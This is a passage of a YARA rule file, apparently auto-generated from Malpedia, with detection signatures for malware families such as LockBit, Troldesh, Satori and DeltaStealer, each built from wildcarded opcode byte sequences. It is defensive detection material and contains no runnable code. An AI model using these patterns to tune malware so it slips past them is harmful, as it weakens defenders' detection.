		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bka_trojaner"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bka_trojaner_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "f15473c37bfc124735dc99ab7490e1138bd0e34fbe32e10f0ddc7571161a090f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8365d800 c745dce7384000 a1???????? 8945e0 }
		$sequence_1 = { 50 56 e8???????? 83c408 8b54241c 55 }
		$sequence_2 = { 83ec4c 56 8b742454 6808020000 68???????? }
		$sequence_3 = { ff15???????? 8b542414 56 52 ff15???????? 8b4570 }
		$sequence_4 = { 0fb6442404 8a4c240c 8488e1eb4000 751e 837c240800 7410 }
		$sequence_5 = { 5e c3 56 8b742408 8b06 813863736de0 751c }
		$sequence_6 = { ff7508 83c008 e8???????? 3b4514 59 752d 837df800 }
		$sequence_7 = { 50 8db6b4e14000 ff36 e8???????? }
		$sequence_8 = { 83ff01 751a 8b442414 8b08 8b542408 51 }
		$sequence_9 = { 7508 8b4508 a3???????? 5b 33c0 5f }
	condition:
		7 of them and filesize < 221184
}

rule MALPEDIA_Win_Nimgrabber_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "89bd52a7-663e-548b-aa96-3fbc1c4d91ac"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimgrabber"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nimgrabber_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "d088108be342ea9771cd179dc72ead263968b1a4b5039d9c99155df864322e6b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 89e8 e8???????? 8b4310 8d68f8 85c0 0f8469feffff 8b4500 }
		$sequence_1 = { 8b4514 89442414 83fa0f 7f5a 8b5d04 8b4500 85db }
		$sequence_2 = { 89f8 25ff010000 0fb78446e4030000 6685c0 0f85a0090000 89f8 89fa }
		$sequence_3 = { 8b442420 8b00 39c6 0f8256feffff 83e801 893424 89442404 }
		$sequence_4 = { 8b44243c 8b4c2460 8d5c0808 0fb64708 3c2a 0f849b0b0000 0f87f7000000 }
		$sequence_5 = { 8d56f8 83e808 8946f8 83f807 0f861a020000 8b4304 85c0 }
		$sequence_6 = { 83ff01 0f8492000000 8b11 8d6ffe 39d5 7211 83ea01 }
		$sequence_7 = { 037304 8b5208 0fb6f8 89f1 897c2440 83c42c 5b }
		$sequence_8 = { e8???????? c1e807 83f001 83e001 e9???????? 837c24687f 0f8ea80b0000 }
		$sequence_9 = { 037c2440 0f49c7 83c208 89542414 89c5 89c8 25ffffff3f }
	condition:
		7 of them and filesize < 1238016
}

rule MALPEDIA_Win_Dyepack_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "07deca3f-25ed-51d0-81b9-2a80bfd3fbb4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dyepack"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dyepack_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "c761a43cdd5c317a044dbb40e0c85464d14b22fce932fc8ee9b2120e24aa5b64"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb04 8b4c2410 2bcd 1bc7 7815 }
		$sequence_1 = { b814100000 e8???????? 53 56 57 33db b9ff030000 }
		$sequence_2 = { 3bcb 765a eb04 8b4c2410 2bcd }
		$sequence_3 = { 56 ff15???????? 8d442410 895c2410 50 56 }
		$sequence_4 = { ff15???????? 56 ff15???????? 8d442410 895c2410 }
		$sequence_5 = { 53 51 e8???????? 83c408 5d 5f }
		$sequence_6 = { 53 aa 8b842434100000 53 6800000040 50 ff15???????? }
		$sequence_7 = { 13fb 3bf8 7cb2 7f08 8b4c2410 3be9 }
		$sequence_8 = { 53 56 ffd7 8b442414 8b4c2410 33ed 33ff }
		$sequence_9 = { 7815 7f08 81f900100000 760b b900100000 895c2420 }
	condition:
		7 of them and filesize < 212992
}

rule MALPEDIA_Win_Troldesh_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "71dc6e06-8dd4-5865-ab10-09f20ee5e07a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.troldesh"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.troldesh_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "54ddaca68ab9115d35e14f6b78269f4735d8b277965f7a8b9f90608c52763a8d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffd5 85c0 755e 6a08 8d442478 50 8d44244c }
		$sequence_1 = { e8???????? 56 57 8bf3 b8ff0f0000 c1ee0c 8bfb }
		$sequence_2 = { ff75fc 50 e8???????? 83c40c 85c0 741a 8b4610 }
		$sequence_3 = { e8???????? 8b3e 53 e8???????? c7839400000001000000 8b36 8b462c }
		$sequence_4 = { e8???????? e9???????? 83f807 0f85d4000000 8bf5 e8???????? 8bf0 }
		$sequence_5 = { e8???????? 8b4f04 51 89442418 895c241c e8???????? 83c404 }
		$sequence_6 = { e8???????? ff750c ff7508 e8???????? 83c418 eb6d e8???????? }
		$sequence_7 = { e8???????? 8b8c249c000000 83c40c 50 57 68???????? 53 }
		$sequence_8 = { ff75f8 8b7070 e8???????? 8945f8 59 85c0 0f8562ffffff }
		$sequence_9 = { e9???????? 3975f4 740b 53 e8???????? 59 85c0 }
	condition:
		7 of them and filesize < 3915776
}

rule MALPEDIA_Win_Grimagent_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "71af2f17-8403-52ad-833c-4f34c39aa4f9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grimagent"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grimagent_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "2bd16393ddc9027f65320f9d7195e30024d5bd5433e4f4effa16eae0aefd4e45"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83ec18 c745f400000000 c745f800000000 c745e800000000 8b4508 8945f0 }
		$sequence_1 = { 8b4d0c 51 e8???????? 83c404 3945f8 7328 8b55ec }
		$sequence_2 = { 85c0 7420 8b4d08 51 8d95f4feffff 52 e8???????? }
		$sequence_3 = { 83c404 3945f8 750e c745e801000000 b801000000 eb1a 8b4df0 }
		$sequence_4 = { 0f8394000000 8b4df0 0fb711 8b45fc }
		$sequence_5 = { 8b45ec 83c002 8945ec 8b4dfc 83c102 894dfc eb02 }
		$sequence_6 = { 85c0 7420 8b4d08 51 8d95f4feffff }
		$sequence_7 = { 83c404 3945f8 750e c745e801000000 }
		$sequence_8 = { 8b4508 0fbe08 85c9 7426 }
		$sequence_9 = { 8b4508 8945f0 8b4d0c 894dfc c745f400000000 eb09 8b55f4 }
	condition:
		7 of them and filesize < 582656
}

rule MALPEDIA_Win_Disk_Knight_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2e5932a4-2261-529e-8603-e7381cbcd593"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.disk_knight"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.disk_knight_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "94d53be36645294fa895fc3e62b424a992d83f6ddb436852c2ddc8dd29bf34d2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 52 8b45c8 50 ff15???????? 8945ac eb07 c745ac00000000 }
		$sequence_1 = { 8bd0 8d4dd4 ffd6 50 68???????? ffd7 8d4d8c }
		$sequence_2 = { ff15???????? 8bd0 8d4da0 ffd6 8d45a4 50 ff15???????? }
		$sequence_3 = { c7458001000080 33d2 8d4db0 ff15???????? ba???????? 8d4db4 ff15???????? }
		$sequence_4 = { 8b16 8d8578ffffff 50 56 ff92b8070000 3bc7 7d0e }
		$sequence_5 = { 8975c8 8d4db0 ff15???????? 8b4dc8 33ff 3bcf 741c }
		$sequence_6 = { 83bdc4feffff00 7d23 6a58 68???????? 8b8dc8feffff 51 8b95c4feffff }
		$sequence_7 = { 8d55dc 51 52 897d80 c78578ffffff00000000 89bd70ffffff ff15???????? }
		$sequence_8 = { 6880000000 ff15???????? 83c41c 8b4dc8 51 8d9544ffffff 52 }
		$sequence_9 = { c785bcfeffff01000000 8b4d0c 833900 7455 8b550c 8b02 66833801 }
	condition:
		7 of them and filesize < 868352
}

rule MALPEDIA_Win_Deltastealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4fccefcb-7a2e-57a6-ab41-b89b24454179"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deltastealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deltastealer_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "8e1fc56421c67233761e9d4924d596056974746fe89cb951900a859521620234"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb5d 31ff eb18 48314618 4889f1 e8???????? 488b4638 }
		$sequence_1 = { 4d89d7 40b601 83ff01 0f8583000000 4181fcff000000 0f873c050000 4885db }
		$sequence_2 = { e8???????? 8a5860 4889f9 e8???????? 448a7060 4889f9 e8???????? }
		$sequence_3 = { c3 4d89c8 e8???????? 0f0b 4157 4156 4155 }
		$sequence_4 = { e8???????? 4889f9 89ea e8???????? 41c60707 4883c438 5b }
		$sequence_5 = { 498b4e28 498b5630 41c60709 41c7471802000000 e8???????? 90 4883c438 }
		$sequence_6 = { eb18 488b4e40 4883c118 e8???????? e8???????? 488906 895608 }
		$sequence_7 = { e8???????? 0f0b ba08000000 4889f0 4883c420 5b 5f }
		$sequence_8 = { e8???????? 4829fe 4c89f1 4889f2 4883c428 5b 5f }
		$sequence_9 = { 8b90cc000000 895108 83a0c400000000 e8???????? c70701000000 894704 }
	condition:
		7 of them and filesize < 3532800
}

rule MALPEDIA_Elf_Satori_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2284f03a-322c-58c3-b1d9-fcae207127e0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.satori"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.satori_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "62c626f34e857ae6d027e483d640bb517fea648ca7b95f5f7c3238608cc58884"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 75f0 83ec0c ebcd 8d65f8 5b 5e }
		$sequence_1 = { c7411849260508 eb28 83f83e 7509 c7411851260508 eb1a 83f82a }
		$sequence_2 = { 50 e8???????? 83c410 eb22 50 55 }
		$sequence_3 = { 894304 e8???????? a1???????? 66897308 c7430c00000000 c6430aff 89580c }
		$sequence_4 = { 0fb7c0 894704 8b441108 66c1c808 }
		$sequence_5 = { e9???????? 0fbe19 b800000080 41 c744240801000000 eb12 }
		$sequence_6 = { e8???????? 89e8 c7851c040000ffffffff e8???????? 83c410 e9???????? }
		$sequence_7 = { 80cc08 50 6a04 ff35???????? e8???????? 8d842468090000 }
		$sequence_8 = { 41 eb9b 85ed 790f }
		$sequence_9 = { 83c410 807b021f 742c 8d143b 8a02 3cfd 7404 }
	condition:
		7 of them and filesize < 122880
}

rule MALPEDIA_Win_Session_Manager_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0581ea0a-3bb4-5759-b879-c839f5bdbdad"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.session_manager"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.session_manager_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "02f9d1668e1984de7209fb8203b706bf8fb13f2ad60ed57c78494704eeede860"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488bca 4c8d0579970100 83e13f 488bc2 }
		$sequence_1 = { 4c89b8701c0000 4c89b8781c0000 4c89b8801c0000 4c89b8881c0000 4c89b8901c0000 4c89b8981c0000 4c89b8a01c0000 }
		$sequence_2 = { 4c89b8c01a0000 4c89b8c81a0000 4c89b8d01a0000 4c89b8d81a0000 4c89b8e01a0000 4c89b8e81a0000 }
		$sequence_3 = { 0f84d6000000 4c8d155b7e0100 41b90a000000 4b8b04fa }
		$sequence_4 = { 4c89b8981d0000 4c89b8a01d0000 4c89b8a81d0000 4c89b8b01d0000 4c89b8b81d0000 4c89b8c01d0000 }
		$sequence_5 = { 488b45d8 488908 488d0d6d720100 488b45d8 8990a8030000 488b45d8 48898888000000 }
		$sequence_6 = { 4c89b850130000 4c89b858130000 4c89b860130000 4c89b868130000 }
		$sequence_7 = { 90 4c8d4001 41b901000000 488d1592df0100 488d4dd7 e8???????? }
		$sequence_8 = { 488d1559e10100 488bcf ff5018 48c7452f0f000000 48897527 }
		$sequence_9 = { 4c89b818080000 4c89b820080000 4c89b828080000 4c89b830080000 4c89b838080000 4c89b840080000 }
	condition:
		7 of them and filesize < 372736
}

rule MALPEDIA_Win_Coinminer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "dd71a564-9751-5c18-a6bf-b9b0587239f2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.coinminer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.coinminer_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "c6e378240c8214f1ad0ec61fc8d57006e837b16f1716923b20f2ac30be5b248c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b8d24e5ffff 8b0485a05f9a00 f644010440 7409 803a1a 7504 33c0 }
		$sequence_1 = { 8b85f0feffff 85c0 7509 33d2 }
		$sequence_2 = { 83c801 85c0 741d 8d85d4fdffff }
		$sequence_3 = { ebcc 5f 5e 33c0 5b 8be5 }
		$sequence_4 = { c7465c60fd8f00 83660800 33ff 47 897e14 }
		$sequence_5 = { ff15???????? 6683bc24b002000000 8d8c24b0020000 ba???????? }
		$sequence_6 = { 7e58 bc80304a3e 60 4c 1c00 59 6443 }
		$sequence_7 = { 57 6868060000 0f57c0 894c2440 8d8424ec000000 c744242400004000 }
		$sequence_8 = { c3 8b04c50c509000 5d c3 55 8bec 8b4508 }
		$sequence_9 = { 8304240d cb 8d85b0fdffff 8945fc 85c0 745d 8b4df0 }
	condition:
		7 of them and filesize < 1523712
}

rule MALPEDIA_Win_Hdmr_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d7c2af72-912d-5503-a152-e44806d38df1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hdmr"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hdmr_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "ee139c0aa91276df8e246776ac0e0dc9525d3fadc5574673ef7224c9dd7d71ea"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b06 8b9094000000 8bce ffd2 8b10 8bc8 }
		$sequence_1 = { 337008 8955fc 33de 8b75f8 33fe 81e7ff00ff00 33780c }
		$sequence_2 = { 2bf7 8bff 0fb719 0fb73c0e }
		$sequence_3 = { 51 e8???????? 8bf0 89470c 8b450c 83c404 8bd6 }
		$sequence_4 = { ffd7 83c614 ff4c240c 0f8562ffffff 33d2 68fe070000 52 }
		$sequence_5 = { 0f84e1030000 6a00 6a00 6a00 }
		$sequence_6 = { 7424 8b06 8b9094000000 8bce }
		$sequence_7 = { 8d45cc 50 c745cce86b4100 e8???????? 8b7508 bf63736de0 393e }
		$sequence_8 = { 56 8d3c8540d04100 e8???????? 83e01f 59 }
		$sequence_9 = { 8bce ffd2 8b10 4f 57 8bc8 }
	condition:
		7 of them and filesize < 284672
}

rule MALPEDIA_Win_Alma_Locker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ce864cf3-8ed9-5a77-84b9-9123b66a46f1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_locker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alma_locker_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "8cabf41a3f65a5dd2317b51829855a0a62bf40db235945e5f426bc09d1925bbb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 750d e8???????? 84c0 0f8461010000 e8???????? 833d????????00 }
		$sequence_1 = { 8b08 ff5108 8b45ac 50 8b08 ff5108 }
		$sequence_2 = { c745e800000000 c645d800 720b ff75c0 e8???????? 83c404 83ec18 }
		$sequence_3 = { 8b85f8fbffff 0f438de8fbffff ffb538f9ffff c785e4fbffff0f000000 c785e0fbffff00000000 8d0441 c685d0fbffff00 }
		$sequence_4 = { 1bc0 f7d8 0f854affffff 8b8580fbffff 51 83c0fe 8d8d70fbffff }
		$sequence_5 = { 8d558c c645fc04 8d4dbc e8???????? 83c404 c645fc06 837db810 }
		$sequence_6 = { 33c0 c645fc0d 33c9 66a3???????? 66390d???????? 8bc6 c705????????07000000 }
		$sequence_7 = { 0f8412000000 83a5e0fffefffe 8b8de8fffeff e9???????? c3 8b542408 8d420c }
		$sequence_8 = { c78598fbffff00000000 c7859cfbffff0f000000 720e ffb558fbffff e8???????? 83c404 83bdccfbffff08 }
		$sequence_9 = { 83bd9cfbffff10 c78584fbffff0f000000 c78580fbffff00000000 c68570fbffff00 720e ffb588fbffff }
	condition:
		7 of them and filesize < 335872
}

rule MALPEDIA_Win_Helminth_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5fdf8a25-7bbd-5109-b9cb-02cfb27261a2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.helminth"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.helminth_auto.yar#L1-L160"
		license_url = "N/A"
		logic_hash = "fef76838e29eb47ff0f2e451721fe0e767720682455a5aea55c0645b1ef1cd31"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { a1???????? 68e8030000 8907 e8???????? }
		$sequence_1 = { 2bc6 3bd8 a1???????? 7f5e 8d3c81 }
		$sequence_2 = { 8bd8 85db 0f84bc000000 8bcb 8d5102 668b01 83c102 }
		$sequence_3 = { 83e11f c1e106 8b048570750110 80640804fe ff36 e8???????? }
		$sequence_4 = { 8a441918 8881a8670110 41 ebe8 8975e4 }
		$sequence_5 = { 56 ff15???????? 56 e8???????? 8b35???????? 83c404 8b0d???????? }
		$sequence_6 = { 8bca 894c2408 8d9b00000000 668b02 83c202 6685c0 75f5 }
		$sequence_7 = { 66893441 8b1a ff15???????? 8bc3 8d5002 668b08 }
		$sequence_8 = { 83f8ff 0f84ac000000 8d442418 50 56 }
		$sequence_9 = { 8945dc 8d45cc 50 6a02 }
		$sequence_10 = { 51 e8???????? 8b55e8 03f6 59 }
		$sequence_11 = { 8bd0 b9???????? 8995c8fbffff 2bd1 }
		$sequence_12 = { f3a5 8bca 83e103 f3a4 8b7c2414 83ef02 }
		$sequence_13 = { eb1c 56 ff15???????? 57 ff15???????? }
		$sequence_14 = { e8???????? 8b75f0 43 59 eb31 }
	condition:
		7 of them and filesize < 479232
}

rule MALPEDIA_Win_Lockbit_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4ed7dbc7-3585-5c20-a9ac-479c38ded866"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lockbit_auto.yar#L1-L210"
		license_url = "N/A"
		logic_hash = "d83c3bb6fdeb9666252e892916a121a76bca2329b4383b39f3b9be802c917095"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 66ad 90 6683f841 720b 6683f85a 7705 }
		$sequence_1 = { 7407 3d9bb4840b 7518 8b4e0c 03cb }
		$sequence_2 = { 6a00 6a00 6800000040 ff75d4 }
		$sequence_3 = { 8bec 81ec7c030000 53 56 57 8d9d84fcffff }
		$sequence_4 = { 66b82000 f266af 85c9 7512 }
		$sequence_5 = { 8d8550fdffff 50 6a00 ff15???????? }
		$sequence_6 = { 33c0 8d7df0 33c9 53 }
		$sequence_7 = { 660f73f904 660fefc8 0f28c1 660f73f804 }
		$sequence_8 = { 50 8d45fc 50 ff75fc ff75f4 }
		$sequence_9 = { 33d0 8bc1 c1e810 0fb6c0 c1e208 }
		$sequence_10 = { 5b 8907 897704 894f08 89570c f745f800000002 740c }
		$sequence_11 = { 47 4e 85f6 75d2 5d 5f 5e }
		$sequence_12 = { 03d0 90 85c0 75e1 8bc2 5e 5a }
		$sequence_13 = { 89570c f745f800000002 740c 5f 5e b801000000 }
		$sequence_14 = { 57 8d9d84fcffff b900c2eb0b e2fe e8???????? 53 }
		$sequence_15 = { ff759c 8d858cfeffff 50 ff7610 51 e8???????? 83c628 }
		$sequence_16 = { 8d45f4 50 6a00 6a00 ff15???????? }
		$sequence_17 = { 8bfb 895830 33fe 897834 8bf7 }
		$sequence_18 = { 894f64 33d6 8b7510 895768 8bda }
		$sequence_19 = { 740b 83e904 8b040e 89040f }
		$sequence_20 = { 740b 83e902 0fb7040e 6689040f f6c204 7409 83e904 }
	condition:
		7 of them and filesize < 2049024
}

rule MALPEDIA_Win_Xtinyloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "18e6856e-e403-5601-8fbf-f7925fca3610"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xtinyloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xtinyloader_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "b857d545e3495e8e215ff8dbc4483cf1ba89c02a05d887dc31b61d1a2d74f26a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff35???????? e8???????? 8b35???????? 83c448 8944241c 85db 7409 }
		$sequence_1 = { 7437 57 ff15???????? 85c0 7425 56 }
		$sequence_2 = { e8???????? 50 ff35???????? e8???????? a3???????? 0fb605???????? 83c444 }
		$sequence_3 = { ff45fc 8b45fc 3b45f4 72be 33c0 5f 5e }
		$sequence_4 = { 8d45f8 50 8b450c 2bc7 }
		$sequence_5 = { 85c0 7442 8b45fc 8b0c86 8b450c }
		$sequence_6 = { 8b5d08 b84d5a0000 663903 7407 33c0 e9???????? }
		$sequence_7 = { 57 ff15???????? 85c0 0f8450010000 8d45f8 }
		$sequence_8 = { 57 895de4 895df4 895dec }
